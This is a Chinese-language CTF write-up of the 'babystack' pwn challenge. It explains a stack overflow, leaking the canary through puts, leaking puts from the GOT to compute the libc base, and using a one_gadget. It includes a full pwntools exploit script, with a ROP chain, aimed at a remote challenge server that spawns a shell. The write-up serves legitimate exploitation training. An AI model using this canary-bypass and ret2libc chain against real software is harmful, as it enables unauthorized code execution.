CTF中的PWN——绕canary防护3(选择项+puts带出canary+泄露函数地址计算基地址)
前言:
想要学好pwn,首先要看懂wp。此题断断续续占用了我两三天,原谅我太菜了。此题为攻防世界的babystack。金丝雀前文叙述过,此处不再阐述,绕过的首选办法就是想办法得到canary的值,因为程序每次load的时候canary都不同,但是一个进程中的所有方法的金丝雀的值都相同。得到canry的值后构造payload即可。
题目:babystack-攻防世界
file及checksec查看软件详细信息:
可以看到软件为64bit,PIE剩下的防护都开了,将程序放入IDA64静态分析:
分析一下main函数,可以看到选项1为向&s位置读入最大0x100存储单元的功能,选项2为通过puts函数输出&s位置的值,而选项3的作用是返回,注意:一般返回的选项都是为了触发return,就是pop eip进而执行payload中的关键函数或其他功能。显而易见选项1中的read函数存在栈溢出漏洞。
canary值得地址为rbp - 8,这里第一个知识点,通过puts(&s)函数可以将canary的值“带出来”,输入点距离canary为0x88,即输入0x88个存储单元后后面的就是canary,一般canary最后为\x00,此方法可得到canary的值。而方法中无system等函数,在libc中查找文件中关键函数的offset即可,本文使用one_gadget工具查找:
找到execve("/bin/sh") 在libc中的偏移量后需要通过泄露puts地址来计算libc的基地址,puts的真实地址存在aaa@qq.com表中,函数在libc文件中。可以通过puts函数泄露puts的地址然后计算加载的libc文件的基地址,最后计算execve("/bin/sh")的实际地址。payload如下:
from pwn import *
io = remote('111.198.29.45', 33708)
#io = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
rdi_ret = 0x0000000000400a93
# start_addr = elf.symbols['__bss_start']
start_addr = 0x0000000000400720
#start_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
one_gadget = 0x45216
print "========leak canary========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88
io.sendline(payload)
io.sendlineafter(">> ", str(2))
io.recvuntil("a" * 0x88 + '\n')
canary = u64(io.recv(7).rjust(8, '\x00'))
print ("canary=>" +hex(canary))
print "========leak libc_base========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendline(payload)
io.sendlineafter(">> ", str(3))
puts_addr = u64(io.recv(8).ljust(8, '\x00'))
print ("puts_addr=>" +hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + one_gadget
print "========get shell========"
io.sendlineafter(">> ", str(1))
payload = "a" * 0x88 + p64(canary) + "a" * 8 + p64(one_gadget)
io.sendline(payload)
io.sendlineafter(">> ", str(3))
io.interactive()
脚本执行结果如下:
总结:
此题总结几个知识点:
- puts()函数可泄露金丝雀的地址。
- 金丝雀的结尾一般为\x00,在64bit中,一般为7位,最后一位为0。
- p64(got)为put函数的实际地址,plt为调用put函数,后面最后加一个mian是为了程序的继续执行。
- 此题用one_gadget查找的gadget,应该system('/bin/sh\x00')也可以。
- 在用one_gadget中,第一行的条件是rax=null,而检查金丝雀之前也将rax置零了。
上一篇: 整数溢出